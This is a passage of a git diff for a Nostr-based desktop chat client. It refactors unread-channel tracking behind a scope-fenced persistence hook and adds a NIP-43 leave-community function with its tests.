+  seedStorage(PUBKEY_A, RELAY, "channel-1");
+  seedStorage(PUBKEY_B, RELAY, "channel-2");
+
+  const harness = await mountUnreadChannels({ pubkey: PUBKEY_A });
+  const staleMarkAllChannelsRead = harness.markAllChannelsRead;
+
+  // Switch to B; hydration flushes A and loads B's storage (channel-2).
+  await harness.render(PUBKEY_B);
+
+  assert.ok(
+    readObservedUnreadFromStorage(PUBKEY_B, RELAY)?.has("channel-2"),
+    "B's channel-2 must be present before the stale call",
+  );
+
+  // Stale A call must be rejected by the scope fence; B's refs stay intact.
+  await act(async () => {
+    staleMarkAllChannelsRead();
+  });
+  harness.flushStorage();
+
+  const storedBAfter = readObservedUnreadFromStorage(PUBKEY_B, RELAY);
+  assert.ok(
+    storedBAfter?.has("channel-2"),
+    "B's channel-2 must survive the post-stale-call flush (stale scope-A markAllChannelsRead must not wipe B's refs)",
+  );
+
+  await harness.unmount();
+});
diff --git a/desktop/src/features/channels/useUnreadChannels.ts b/desktop/src/features/channels/useUnreadChannels.ts
index a2376f9b7b..d46cc71cdb 100644
--- a/desktop/src/features/channels/useUnreadChannels.ts
+++ b/desktop/src/features/channels/useUnreadChannels.ts
@@ -9,8 +9,8 @@ import {
   countUnreadBadgeObservedEvents,
   countUnreadHighPriorityObservedEvents,
   countUnreadObservedEvents,
+  hasUnreadTopLevelObservedEvent,
   makeObservedUnreadEvent,
-  mapsEqual,
   observedUnreadEventReadAt,
   recordObservedUnreadEvent,
   type ObservedUnreadEvent,
@@ -20,6 +20,7 @@ import { makeRootIdStore } from "@/features/channels/unreadRootIdStore";
 import {
   forcedUnreadStore,
   type ForcedUnreadMap,
+  useForcedUnreadActions,
 } from "@/features/channels/forcedUnreadStore";
 import {
   getThreadReference,
@@ -33,6 +34,7 @@ import {
 import type { RelayClient } from "@/shared/api/relayClientSession";
 import type { Channel, RelayEvent } from "@/shared/api/types";
 import { CHANNEL_MESSAGE_EVENT_KINDS } from "@/shared/constants/kinds";
+import { useStableMap, useStableSet } from "@/shared/hooks/useStableReference";
 import { normalizeRelayUrl } from "@/features/profile/lib/selfProfileStorage";
 import { DM_NOTIFIABLE_EVENT_KINDS } from "./isDmNotifiableKind";
 import {
@@ -52,6 +54,7 @@ export {
   readActivityFromStorage,
   writeActivityToStorage,
 } from "@/features/channels/threadActivityStorage";
+import { useObservedUnreadPersistence } from "@/features/channels/useObservedUnreadPersistence";
 
 type UseUnreadChannelsOptions = UseLiveChannelUpdatesOptions & {
   pubkey?: string;
@@ -125,14 +128,6 @@ export function resolveObservedUnreadRootId(tags: string[][]): string | null {
   return isBroadcastReply(tags) ? null : getThreadReference(tags).rootId;
 }
 
-function setsEqual(a: ReadonlySet<string>, b: ReadonlySet<string>): boolean {
-  if (a.size !== b.size) return false;
-  for (const item of a) {
-    if (!b.has(item)) return false;
-  }
-  return true;
-}
-
 export function useUnreadChannels(
   channels: Channel[],
   activeChannel: Channel | null,
@@ -171,13 +166,9 @@ export function useUnreadChannels(
     getOwnTimestamp,
   } = useReadState(pubkey, relayClient);
 
-  // Observed "latest external trigger event" per channel (unix seconds). This
-  // is *derived relay evidence*, not source-of-truth: it's populated from a
-  // one-shot catch-up REQ per channel (keyed on the NIP-RS read marker) plus
-  // ongoing live events. The only thing we ever do with it is compare against
-  // the NIP-RS read marker — see the unread memo below. Reset on identity
-  // change. Stale entries for channels the user has left are silently
-  // ignored by the memo (it iterates the current channels list, not the map).
+  // Per-channel latest observed external trigger timestamp (unix seconds) and
+  // per-event metadata. Derived relay evidence, not source-of-truth; the unread
+  // memo compares these against NIP-RS markers. Hydrated/reset by the persistence hook.
   const latestByChannelRef = React.useRef(new Map<string, number>());
   const observedUnreadEventsByChannelRef = React.useRef(
     new Map<string, Map<string, ObservedUnreadEvent>>(),
@@ -186,13 +177,9 @@ export function useUnreadChannels(
   const channelsRef = React.useRef(channels);
   channelsRef.current = channels;
 
-  // Channels manually marked unread this session (e.g., right-click → "mark
-  // unread"). Because NIP-RS read markers are monotonic, this flag is what
-  // makes the badge appear without lowering synced read state. Each entry
-  // stores the channel's NIP-RS read marker (unix seconds) at force-time, or
-  // null if no marker existed yet. Persisted to localStorage
-  // (buzz-forced-unread.v1) so it survives reload and is visible to the rail
-  // observer for inactive communities.
+  // Channels manually marked unread this session. NIP-RS markers are monotonic,
+  // so this flag creates the badge without lowering synced read state.
+  // Persisted to buzz-forced-unread.v1 for cross-reload and rail-observer visibility.
   const forcedUnreadRef = React.useRef<ForcedUnreadMap>(
     pubkey ? forcedUnreadStore.read(pubkey) : {},
   );
@@ -266,13 +253,24 @@ export function useUnreadChannels(
     0,
   );
 
+  // Persistence layer: hydration, pagehide flush, scope fence, write-through, marker-prune.
+  const observedPersistence = useObservedUnreadPersistence(
+    normalizedPubkey,
+    normalizedRelayUrl,
+    isReadStateReady,
+    readStateVersion,
+    getEffectiveTimestamp,
+    getOwnTimestamp,
+    observedUnreadEventsByChannelRef,
+    latestByChannelRef,
+    { onPruned: bumpLatestVersion },
+  );
+
   // Reset all in-session state when the identity or relay changes. In-memory
   // caches are cleared; persisted stores are loaded for the new pubkey (so
   // forced-unread, participation, etc. are correct for the new identity).
   // biome-ignore lint/correctness/useExhaustiveDependencies: pubkey/relayClient are intentional reset signals
   React.useEffect(() => {
-    latestByChannelRef.current = new Map();
-    observedUnreadEventsByChannelRef.current = new Map();
     // Load persisted forced-unread map for the new pubkey (do NOT clear the
     // store — another device's data should survive identity switches here).
     forcedUnreadRef.current = pubkey ? forcedUnreadStore.read(pubkey) : {};
@@ -296,23 +294,25 @@ export function useUnreadChannels(
     bumpMembershipVersion();
   }, [pubkey, relayClient, normalizedRelayUrl]);
 
-  // `topLevelOnly` is the passive channel-open path (NIP-RS Option 1): the
-  // caller's `readAt` is already the newest TOP-LEVEL message, so the marker
-  // must land exactly there without folding in `observedLatest` (which counts
-  // thread replies) and without clearing observed refs. Leaving the refs intact
-  // keeps the sidebar dot lit for a channel whose only unread is an unopened
-  // thread reply — viewing the channel no longer absorbs the reply, so the dot
-  // persists until an explicit mark-read (Esc, sidebar, mark-all) or a newer
-  // top-level message advances the channel marker past it. Those explicit
-  // "mark read" actions omit the flag and keep the fold, since they mean
-  // "clear everything in this channel."
+  // `topLevelOnly`: passive channel-open path (NIP-RS Option 1) — marker lands at newest
+  // top-level msg without folding observed replies; leaves refs intact so the dot persists
+  // until an explicit mark-read. Explicit reads omit this flag and clear the refs.
   const markChannelRead = React.useCallback(
     (
       channelId: string,
       readAt: string | null | undefined,
-      { topLevelOnly = false }: { topLevelOnly?: boolean } = {},
+      {
+        preserveForcedUnread = false,
+        topLevelOnly = false,
+      }: {
+        preserveForcedUnread?: boolean;
+        topLevelOnly?: boolean;
+      } = {},
     ) => {
-      if (Object.hasOwn(forcedUnreadRef.current, channelId)) {
+      if (
+        !preserveForcedUnread &&
+        Object.hasOwn(forcedUnreadRef.current, channelId)
+      ) {
         delete forcedUnreadRef.current[channelId];
         if (pubkey) {
           forcedUnreadStore.write(pubkey, forcedUnreadRef.current);
@@ -328,36 +328,26 @@ export function useUnreadChannels(
       );
       if (markAt === null) return;
       markContextRead(channelId, markAt);
-      // Clear observed-latest refs when the read marker covers them so the
-      // unread memo sees `latest === undefined` until a genuinely new event
-      // arrives. Without this, `latest > readAt` resolves to `T > T` (false)
-      // but the channel lingers in the set when advanceContext's monotonic
-      // guard suppresses the readStateVersion bump.
+      // Delegate destructive observed-ref removal to the fenced owner operation —
+      // the parent must not delete from latestByChannelRef or
+      // observedUnreadEventsByChannelRef directly on the clear-observed path,
+      // or a stale scope-A callback could corrupt scope B before the fence rejects.
+      // (Fenced record writes in handleChannelMessage and catch-up remain in the parent.)
       if (clearObserved) {
-        latestByChannelRef.current.delete(channelId);
-        observedUnreadEventsByChannelRef.current.delete(channelId);
+        observedPersistence.removeChannel(channelId);
         bumpLatestVersion();
       }
     },
-    [markContextRead, pubkey],
+    [markContextRead, observedPersistence, pubkey],
   );
 
-  // Manually mark a channel unread (e.g., right-click → "mark unread"). Persists
-  // the current NIP-RS read marker as baseline to localStorage so the rail
-  // observer can detect when a cross-device read has since covered the force.
-  // NIP-RS markers are monotonic, so we do not publish a lower timestamp.
-  const markChannelUnread = React.useCallback(
-    (channelId: string) => {
-      if (!Object.hasOwn(forcedUnreadRef.current, channelId)) {
-        forcedUnreadRef.current[channelId] = getOwnTimestamp(channelId);
-        if (pubkey) {
-          forcedUnreadStore.write(pubkey, forcedUnreadRef.current);
-        }
-        bumpLatestVersion();
-      }
-    },
-    [getOwnTimestamp, pubkey],
-  );
+  const { clearChannelUnreadSource, markChannelUnread } =
+    useForcedUnreadActions(
+      forcedUnreadRef,
+      getOwnTimestamp,
+      pubkey,
+      bumpLatestVersion,
+    );
 
   // Record the thread root of an EXTERNAL message that @-mentioned the user.
   // Keyed on the thread root so the badge gate trips for a mention recipient
@@ -381,21 +371,22 @@ export function useUnreadChannels(
     [normalizedPubkey],
   );
 
-  // Feed the in-session "latest external trigger" map from live channel
-  // events. Composes with any caller-supplied onChannelMessage handler.
-  // useLiveChannelUpdates already filters this callback to trigger kinds
-  // and external authors, so the map is always a strict subset of "newest
-  // external trigger message this client has observed."
+  // Records an external trigger event and schedules persistence.
   const callerOnChannelMessage = liveUpdateOptions.onChannelMessage;
   const recordUnreadEvent = React.useCallback(
-    (channelId: string, event: ObservedUnreadEvent) =>
-      recordObservedUnreadEvent(
+    (channelId: string, event: ObservedUnreadEvent): boolean => {
+      if (!observedPersistence.isScopeLoaded()) return false;
+      const didRecord = recordObservedUnreadEvent(
         observedUnreadEventsByChannelRef.current,
         channelId,
         event,
         CATCH_UP_LIMIT,
-      ),
-    [],
+      );
+      if (didRecord)
+        observedPersistence.schedule(observedPersistence.currentScope);
+      return didRecord;
+    },
+    [observedPersistence],
   );
   const handleChannelMessage = React.useCallback(
     (channelId: string, event: RelayEvent) => {
@@ -418,11 +409,14 @@ export function useUnreadChannels(
           isThreadedReply,
         }),
       );
+      // Fence latestByChannelRef on the scope guard — a stale live callback
+      // during A→B drift must not write A's timestamp into B's hydrated ref.
+      const scopeOk = observedPersistence.isScopeLoaded();
       const current = latestByChannelRef.current.get(channelId) ?? 0;
-      if (event.created_at > current) {
+      if (scopeOk && event.created_at > current) {
         latestByChannelRef.current.set(channelId, event.created_at);
-        bumpLatestVersion();
-      } else if (didRecordUnreadEvent) {
+      }
+      if (didRecordUnreadEvent || (scopeOk && event.created_at > current)) {
         bumpLatestVersion();
       }
 
@@ -444,6 +438,7 @@ export function useUnreadChannels(
     [
       callerOnChannelMessage,
       normalizedPubkey,
+      observedPersistence,
       recordMentionedRoot,
       recordUnreadEvent,
     ],
@@ -477,6 +472,22 @@ export function useUnreadChannels(
     [normalizedPubkey],
   );
 
+  const recordThreadInteraction = React.useCallback(
+    (rootId: string) => {
+      const normalizedRootId = rootId.trim();
+      if (!normalizedRootId) return;
+      const target = participatedRootIdsRef.current;
+      const sizeBefore = target.size;
+      target.add(normalizedRootId);
+      if (target.size === sizeBefore) return;
+      if (normalizedPubkey !== null) {
+        participationStore.write(normalizedPubkey, target);
+      }
+      bumpMembershipVersion();
+    },
+    [normalizedPubkey],
+  );
+
   const handleThreadReplyNotification = React.useCallback(
     (channelId: string, event: RelayEvent) => {
       // Guard: don't merge into a ref whose scope has drifted from the current
@@ -738,13 +749,9 @@ export function useUnreadChannels(
     ).then((results) => {
       if (isCancelled) return;
       // Guard: don't merge catch-up results into a ref whose scope has drifted
-      // (relay/pubkey changed while this async fetch was in flight). Also reject
-      // an empty scope for the same reason as the live writer above.
-      if (
-        !currentActivityScope ||
-        threadActivityScopeRef.current !== currentActivityScope
-      )
-        return;
+      // (relay/pubkey changed while this async fetch was in flight). Use the
+      // observed owner's loaded-scope predicate — one scope authority, not two.
+      if (!observedPersistence.isScopeLoaded()) return;
       let didAdvance = false;
       const allThreadReplies: ThreadActivityItem[] = [];
       for (const result of results) {
@@ -817,9 +824,9 @@ export function useUnreadChannels(
     relayClient,
   ]);
 
-  // Unread = channels (excluding active) that have either been manually
-  // marked unread this session, or whose observed latest external trigger
-  // timestamp is strictly newer than their NIP-RS read marker.
+  // Unread = inactive channels, plus any channel manually marked unread this
+  // session. A manually marked active channel must remain visible as unread
+  // until the user explicitly marks it read again.
   // High-priority unread = DMs or channels with a mention/broadcast newer
   // than the read marker. Forced-unread channels are dot tier only (not
   // high-priority). Both sets share identical deps and always invalidate
@@ -827,9 +834,10 @@ export function useUnreadChannels(
   const rawUnread =
     // biome-ignore lint/correctness/useExhaustiveDependencies: readStateVersion and latestVersion are intentional invalidation signals
     React.useMemo(() => {
-      if (!isReadStateReady) {
+      if (!isReadStateReady || !observedPersistence.isScopeLoaded()) {
         return {
           unreadChannelIds: new Set<string>(),
+          topLevelUnreadChannelIds: new Set<string>(),
           highPriorityUnreadChannelIds: new Set<string>(),
           unreadChannelCounts: new Map<string, number>(),
           unreadChannelNotificationCount: 0,
@@ -837,22 +845,17 @@ export function useUnreadChannels(
       }
 
       const unread = new Set<string>();
+      const topLevelUnread = new Set<string>();
       const highPriority = new Set<string>();
       const counts = new Map<string, number>();
       let unreadChannelNotificationCount = 0;
 
       for (const channel of channels) {
-        if (channel.id === activeChannelId) continue;
-
-        if (Object.hasOwn(forcedUnreadRef.current, channel.id)) {
-          // Forced-unread is dot tier only — not high-priority.
-          unread.add(channel.id);
-          counts.set(channel.id, 1);
-          unreadChannelNotificationCount += 1;
-          continue;
-        }
-
-        if (latestByChannelRef.current.get(channel.id) === undefined) continue;
+        const isForcedUnread = Object.hasOwn(
+          forcedUnreadRef.current,
+          channel.id,
+        );
+        if (channel.id === activeChannelId && !isForcedUnread) continue;
 
         const observedEvents = observedUnreadEventsByChannelRef.current.get(
           channel.id,
@@ -866,13 +869,25 @@ export function useUnreadChannels(
             (messageId) => getOwnTimestamp(`msg:${messageId}`),
           );
 
-        const unreadCount = countUnreadObservedEvents(
-          observedEvents,
-          readAtForObservedEvent,
-        );
-        if (unreadCount === 0) continue;
+        const unreadCount =
+          latestByChannelRef.current.get(channel.id) === undefined
+            ? 0
+            : countUnreadObservedEvents(observedEvents, readAtForObservedEvent);
+        if (unreadCount === 0) {
+          if (!isForcedUnread) continue;
+          unread.add(channel.id);
+          topLevelUnread.add(channel.id);
+          counts.set(channel.id, 1);
+          unreadChannelNotificationCount += 1;
+          continue;
+        }
 
         unread.add(channel.id);
+        if (
+          hasUnreadTopLevelObservedEvent(observedEvents, readAtForObservedEvent)
+        ) {
+          topLevelUnread.add(channel.id);
+        }
         const badgeCount = countUnreadBadgeObservedEvents(
           observedEvents,
           readAtForObservedEvent,
@@ -900,6 +915,7 @@ export function useUnreadChannels(
 
       return {
         unreadChannelIds: unread,
+        topLevelUnreadChannelIds: topLevelUnread,
         highPriorityUnreadChannelIds: highPriority,
         unreadChannelCounts: counts,
         unreadChannelNotificationCount,
@@ -914,37 +930,14 @@ export function useUnreadChannels(
       readStateVersion,
     ]);
 
-  // Stabilize Set references: only replace when contents actually change,
-  // so downstream memos don't re-run on every render when sets are equal.
-  const prevUnreadRef = React.useRef<ReadonlySet<string>>(new Set());
-  const prevHighPriorityRef = React.useRef<ReadonlySet<string>>(new Set());
-  const prevUnreadCountsRef = React.useRef<ReadonlyMap<string, number>>(
-    new Map(),
+  const unreadChannelIds = useStableSet(rawUnread.unreadChannelIds);
+  const topLevelUnreadChannelIds = useStableSet(
+    rawUnread.topLevelUnreadChannelIds,
   );
-
-  const unreadChannelIds = setsEqual(
-    rawUnread.unreadChannelIds,
-    prevUnreadRef.current,
-  )
-    ? prevUnreadRef.current
-    : rawUnread.unreadChannelIds;
-  prevUnreadRef.current = unreadChannelIds;
-
-  const highPriorityUnreadChannelIds = setsEqual(
+  const highPriorityUnreadChannelIds = useStableSet(
     rawUnread.highPriorityUnreadChannelIds,
-    prevHighPriorityRef.current,
-  )
-    ? prevHighPriorityRef.current
-    : rawUnread.highPriorityUnreadChannelIds;
-  prevHighPriorityRef.current = highPriorityUnreadChannelIds;
-
-  const unreadChannelCounts = mapsEqual(
-    rawUnread.unreadChannelCounts,
-    prevUnreadCountsRef.current,
-  )
-    ? prevUnreadCountsRef.current
-    : rawUnread.unreadChannelCounts;
-  prevUnreadCountsRef.current = unreadChannelCounts;
+  );
+  const unreadChannelCounts = useStableMap(rawUnread.unreadChannelCounts);
   const unreadChannelNotificationCount =
     rawUnread.unreadChannelNotificationCount;
 
@@ -961,14 +954,17 @@ export function useUnreadChannels(
       if (unixSeconds !== null) {
         markContextRead(channelId, unixSeconds);
       }
-      latestByChannelRef.current.delete(channelId);
-      observedUnreadEventsByChannelRef.current.delete(channelId);
     }
     if (pubkey) {
       forcedUnreadStore.write(pubkey, forcedUnreadRef.current);
     }
+    // Delegate destructive observed-ref clearing to the fenced owner operation —
+    // the parent must not reset the observed Maps directly on this path, or a
+    // stale scope-A callback could corrupt scope B before the fence rejects.
+    // (Fenced record writes in handleChannelMessage and catch-up remain in the parent.)
+    observedPersistence.clearAll();
     bumpLatestVersion();
-  }, [getEffectiveTimestamp, markContextRead, pubkey]);
+  }, [getEffectiveTimestamp, markContextRead, observedPersistence, pubkey]);
 
   // Identity-stable snapshots of the membership sets for the notify gate.
   // Re-derived only when membershipVersion bumps (a set actually changed), so
@@ -992,12 +988,14 @@ export function useUnreadChannels(
 
   return {
     unreadChannelIds,
+    topLevelUnreadChannelIds,
     unreadChannelCounts,
     highPriorityUnreadChannelIds,
     unreadChannelNotificationCount,
     markAllChannelsRead,
     markChannelRead,
     markChannelUnread,
+    clearChannelUnreadSource,
     // Exposed so other surfaces (e.g. Home) can project per-item read state
     // off the same NIP-RS read marker without instantiating a second
     // ReadStateManager. readStateVersion is the invalidation signal callers
@@ -1009,6 +1007,7 @@ export function useUnreadChannels(
     participatedRootIds,
     authoredRootIds,
     mentionedRootIds,
+    recordThreadInteraction,
     threadActivityItems: projectActivityForScope(
       threadActivityScopeRef.current,
       currentActivityScope,
diff --git a/desktop/src/features/communities/communityStorage.test.mjs b/desktop/src/features/communities/communityStorage.test.mjs
index 633fccd202..fca1909137 100644
--- a/desktop/src/features/communities/communityStorage.test.mjs
+++ b/desktop/src/features/communities/communityStorage.test.mjs
@@ -4,7 +4,11 @@ import test from "node:test";
 import {
   clearCommunityStorage,
   initFirstCommunity,
+  loadCommunities,
+  loadCommunityDiscoveryAfterLeave,
+  markCommunityDiscoveryAfterLeave,
   migrateLegacyCommunityStorage,
+  saveCommunities,
   shouldAutoConnectDefaultRelay,
 } from "./communityStorage.ts";
 
@@ -89,16 +93,42 @@ test("failed first-community write preserves existing community data", () => {
   assert.equal(storage.getItem("buzz-active-workspace-id"), "legacy");
 });
 
-test("clearCommunityStorage removes new and legacy state", () => {
+test("loading an existing community clears stale final-leave discovery", () => {
+  const storage = createMemoryStorage({
+    "buzz-communities": '[{"id":"joined"}]',
+    "buzz-community-discovery-after-leave": "1",
+  });
+  globalThis.localStorage = storage;
+  globalThis.window = { localStorage: storage };
+
+  assert.deepEqual(loadCommunities(), [{ id: "joined" }]);
+  assert.equal(loadCommunityDiscoveryAfterLeave(storage), false);
+});
+
+test("completed final leave persists discovery until a community is saved", () => {
+  const storage = createMemoryStorage();
+  globalThis.localStorage = storage;
+  globalThis.window = { localStorage: storage };
+
+  assert.equal(markCommunityDiscoveryAfterLeave(storage), true);
+  assert.equal(loadCommunityDiscoveryAfterLeave(storage), true);
+
+  assert.equal(saveCommunities([{ id: "joined" }]), true);
+  assert.equal(loadCommunityDiscoveryAfterLeave(storage), false);
+});
+
+test("clearCommunityStorage preserves completed final-leave discovery", () => {
   const storage = createMemoryStorage({
     "buzz-communities": "new",
     "buzz-active-community-id": "new",
     "buzz-workspaces": "old",
     "buzz-active-workspace-id": "old",
+    "buzz-community-discovery-after-leave": "1",
   });
 
   clearCommunityStorage(storage);
   migrateLegacyCommunityStorage(storage);
 
-  assert.equal(storage.length, 0);
+  assert.equal(storage.length, 1);
+  assert.equal(loadCommunityDiscoveryAfterLeave(storage), true);
 });
diff --git a/desktop/src/features/communities/communityStorage.ts b/desktop/src/features/communities/communityStorage.ts
index 4a99e1f2e0..7c8778712e 100644
--- a/desktop/src/features/communities/communityStorage.ts
+++ b/desktop/src/features/communities/communityStorage.ts
@@ -6,6 +6,8 @@ const COMMUNITIES_KEY = "buzz-communities";
 const ACTIVE_COMMUNITY_KEY = "buzz-active-community-id";
 const LEGACY_WORKSPACES_KEY = "buzz-workspaces";
 const LEGACY_ACTIVE_WORKSPACE_KEY = "buzz-active-workspace-id";
+const COMMUNITY_DISCOVERY_AFTER_LEAVE_KEY =
+  "buzz-community-discovery-after-leave";
 
 /**
  * Expand a leading `~` to the user's home directory. The backend rejects
@@ -57,6 +59,9 @@ export function loadCommunities(): Community[] {
     if (!Array.isArray(parsed)) {
       return [];
     }
+    if (parsed.length > 0) {
+      localStorage.removeItem(COMMUNITY_DISCOVERY_AFTER_LEAVE_KEY);
+    }
     // Migration: older builds stored the user's `nsec` in localStorage and
     // re-applied it to the backend on every reload, which silently overwrote
     // any `import_identity` result with the original generated key. The
@@ -82,10 +87,37 @@ export function loadCommunities(): Community[] {
 }
 
 export function saveCommunities(communities: Community[]): boolean {
-  return setLocalStorageItemWithRecovery(
+  const didSave = setLocalStorageItemWithRecovery(
     COMMUNITIES_KEY,
     JSON.stringify(communities),
   );
+  if (didSave && communities.length > 0) {
+    localStorage.removeItem(COMMUNITY_DISCOVERY_AFTER_LEAVE_KEY);
+  }
+  return didSave;
+}
+
+export function loadCommunityDiscoveryAfterLeave(
+  storage: Storage = localStorage,
+): boolean {
+  return storage.getItem(COMMUNITY_DISCOVERY_AFTER_LEAVE_KEY) === "1";
+}
+
+export function markCommunityDiscoveryAfterLeave(
+  storage: Storage = localStorage,
+): boolean {
+  if (typeof window !== "undefined" && storage === window.localStorage) {
+    return setLocalStorageItemWithRecovery(
+      COMMUNITY_DISCOVERY_AFTER_LEAVE_KEY,
+      "1",
+    );
+  }
+  try {
+    storage.setItem(COMMUNITY_DISCOVERY_AFTER_LEAVE_KEY, "1");
+    return true;
+  } catch {
+    return false;
+  }
 }
 
 export function clearCommunityStorage(storage: Storage = localStorage): void {
diff --git a/desktop/src/features/communities/communityUnreadObserver.ts b/desktop/src/features/communities/communityUnreadObserver.ts
index 5bc3298413..e729831eac 100644
--- a/desktop/src/features/communities/communityUnreadObserver.ts
+++ b/desktop/src/features/communities/communityUnreadObserver.ts
@@ -1,5 +1,6 @@
 import { makeRootIdStore } from "@/features/channels/unreadRootIdStore";
 import {
+  forcedUnreadMarker,
   forcedUnreadStore,
   type ForcedUnreadMap,
 } from "@/features/channels/forcedUnreadStore";
@@ -238,7 +239,9 @@ export async function fetchCommunityUnread(args: {
     // runs while the community is active, so the store may not be pruned for
     // inactive communities).
     if (!hasUnread && Object.hasOwn(forcedUnreadMap, channel.id)) {
-      const markerAtWhenForced = forcedUnreadMap[channel.id];
+      const markerAtWhenForced = forcedUnreadMarker(
+        forcedUnreadMap[channel.id],
+      );
       if (
         readAt === null ||
         (markerAtWhenForced !== null && readAt <= markerAtWhenForced)
diff --git a/desktop/src/features/communities/leaveCommunity.test.mjs b/desktop/src/features/communities/leaveCommunity.test.mjs
new file mode 100644
index 0000000000..50f0775925
--- /dev/null
+++ b/desktop/src/features/communities/leaveCommunity.test.mjs
@@ -0,0 +1,175 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { KIND_NIP43_LEAVE_REQUEST, leaveCommunity } from "./leaveCommunity.ts";
+
+const signedEvent = {
+  id: "event-id",
+  pubkey: "a".repeat(64),
+  created_at: 1,
+  kind: KIND_NIP43_LEAVE_REQUEST,
+  tags: [["-"]],
+  content: "",
+  sig: "b".repeat(128),
+};
+
+function dependencies(overrides = {}) {
+  return {
+    requiresMembership: async () => true,
+    sign: async (input) => ({ ...signedEvent, ...input }),
+    publishActive: async () => {},
+    createRelayClient: () => ({
+      publishEvent: async () => {},
+      disconnect() {},
+    }),
+    ...overrides,
+  };
+}
+
+test("skips relay publishing when the relay does not enforce membership", async () => {
+  let checkedRelay;
+  await leaveCommunity(
+    "wss://open.example",
+    "wss://open.example",
+    dependencies({
+      requiresMembership: async (relayUrl) => {
+        checkedRelay = relayUrl;
+        return false;
+      },
+      sign: async () => {
+        throw new Error("open relay leave should not be signed");
+      },
+      publishActive: async () => {
+        throw new Error("open relay leave should not be published");
+      },
+    }),
+  );
+
+  assert.equal(checkedRelay, "wss://open.example");
+});
+
+test("signs the protected NIP-43 leave request and awaits active relay acceptance", async () => {
+  let signInput;
+  let published;
+  await leaveCommunity(
+    "wss://active.example",
+    "wss://active.example",
+    dependencies({
+      sign: async (input) => {
+        signInput = input;
+        return signedEvent;
+      },
+      publishActive: async (event) => {
+        published = event;
+      },
+      createRelayClient: () => {
+        throw new Error("inactive client should not be created");
+      },
+    }),
+  );
+
+  assert.deepEqual(signInput, {
+    kind: KIND_NIP43_LEAVE_REQUEST,
+    content: "",
+    tags: [["-"]],
+  });
+  assert.equal(published, signedEvent);
+});
+
+test("targets an inactive community relay and always disconnects", async () => {
+  const calls = [];
+  await leaveCommunity(
+    "wss://inactive.example",
+    "wss://active.example",
+    dependencies({
+      publishActive: async () => {
+        throw new Error("active relay should not be used");
+      },
+      createRelayClient: (relayUrl) => ({
+        publishEvent: async (event) => calls.push(["publish", relayUrl, event]),
+        disconnect: () => calls.push(["disconnect"]),
+      }),
+    }),
+  );
+
+  assert.deepEqual(calls, [
+    ["publish", "wss://inactive.example", signedEvent],
+    ["disconnect"],
+  ]);
+});
+
+test("treats an already-absent active membership as successful cleanup", async () => {
+  const result = await leaveCommunity(
+    "wss://active.example",
+    "wss://active.example",
+    dependencies({
+      publishActive: async () => {
+        throw new Error("invalid: you are not a relay member");
+      },
+    }),
+  );
+
+  assert.deepEqual(result, { status: "already-absent" });
+});
+
+test("treats an already-absent inactive membership as successful cleanup and disconnects", async () => {
+  let disconnected = false;
+  const result = await leaveCommunity(
+    "wss://inactive.example",
+    "wss://active.example",
+    dependencies({
+      createRelayClient: () => ({
+        publishEvent: async () => {
+          throw new Error("invalid: you are not a relay member");
+        },
+        disconnect: () => {
+          disconnected = true;
+        },
+      }),
+    }),
+  );
+  assert.deepEqual(result, { status: "already-absent" });
+  assert.equal(disconnected, true);
+});
+
+test("preserves other relay rejections and disconnects without falling through", async () => {
+  const rejection = new Error("invalid: relay owner cannot leave");
+  let disconnected = false;
+
+  await assert.rejects(
+    leaveCommunity(
+      "wss://inactive.example",
+      "wss://active.example",
+      dependencies({
+        createRelayClient: () => ({
+          publishEvent: async () => {
+            throw rejection;
+          },
+          disconnect: () => {
+            disconnected = true;
+          },
+        }),
+      }),
+    ),
+    rejection,
+  );
+  assert.equal(disconnected, true);
+});
+
+test("turns an inactive relay timeout into an actionable leave error", async () => {
+  await assert.rejects(
+    leaveCommunity(
+      "wss://inactive.example",
+      "wss://active.example",
+      dependencies({
+        createRelayClient: () => ({
+          publishEvent: async () => {
+            throw new Error("Timed out publishing to observer relay.");
+          },
+          disconnect() {},
+        }),
+      }),
+    ),
+    /Timed out while leaving the community\. Try again\./,
+  );
+});
diff --git a/desktop/src/features/communities/leaveCommunity.ts b/desktop/src/features/communities/leaveCommunity.ts
new file mode 100644
index 0000000000..15e3f8ba8d
--- /dev/null
+++ b/desktop/src/features/communities/leaveCommunity.ts
@@ -0,0 +1,88 @@
+import { relayClient } from "@/shared/api/relayClient";
+import { ReadOnlyRelayClient } from "@/shared/api/readOnlyRelayClient";
+import { relayRequiresMembership } from "@/shared/api/relayMembers";
+import { signRelayEvent } from "@/shared/api/tauri";
+import type { RelayEvent } from "@/shared/api/types";
+
+export const KIND_NIP43_LEAVE_REQUEST = 28936;
+
+type LeaveCommunityDependencies = {
+  requiresMembership: (relayUrl: string) => Promise<boolean>;
+  sign: typeof signRelayEvent;
+  publishActive: (event: RelayEvent) => Promise<unknown>;
+  createRelayClient: (relayUrl: string) => {
+    publishEvent: (event: RelayEvent) => Promise<unknown>;
+    disconnect: () => void;
+  };
+};
+
+const defaultDependencies: LeaveCommunityDependencies = {
+  requiresMembership: relayRequiresMembership,
+  sign: signRelayEvent,
+  publishActive: (event) =>
+    relayClient.publishEvent(
+      event,
+      "Timed out while leaving the community. Try again.",
+      "Couldn't send the leave request. Check your connection and try again.",
+    ),
+  createRelayClient: (relayUrl) => new ReadOnlyRelayClient(relayUrl),
+};
+
+function membershipIsAlreadyAbsent(error: unknown): boolean {
+  return (
+    error instanceof Error &&
+    error.message.toLowerCase().includes("not a relay member")
+  );
+}
+
+export type LeaveCommunityResult =
+  | { status: "left" }
+  | { status: "already-absent" };
+
+async function publishLeaveRequest(
+  publish: () => Promise<unknown>,
+): Promise<LeaveCommunityResult> {
+  try {
+    await publish();
+    return { status: "left" };
+  } catch (error) {
+    if (!membershipIsAlreadyAbsent(error)) throw error;
+    return { status: "already-absent" };
+  }
+}
+
+/** Revoke relay membership and resolve only after the relay accepts the request. */
+export async function leaveCommunity(
+  relayUrl: string,
+  activeRelayUrl: string | undefined,
+  dependencies: LeaveCommunityDependencies = defaultDependencies,
+): Promise<LeaveCommunityResult> {
+  if (!(await dependencies.requiresMembership(relayUrl))) {
+    return { status: "left" };
+  }
+
+  const event = await dependencies.sign({
+    kind: KIND_NIP43_LEAVE_REQUEST,
+    content: "",
+    tags: [["-"]],
+  });
+
+  if (relayUrl === activeRelayUrl) {
+    return publishLeaveRequest(() => dependencies.publishActive(event));
+  }
+
+  const client = dependencies.createRelayClient(relayUrl);
+  try {
+    return await publishLeaveRequest(() => client.publishEvent(event));
+  } catch (error) {
+    if (
+      error instanceof Error &&
+      error.message.toLowerCase().includes("timed out")
+    ) {
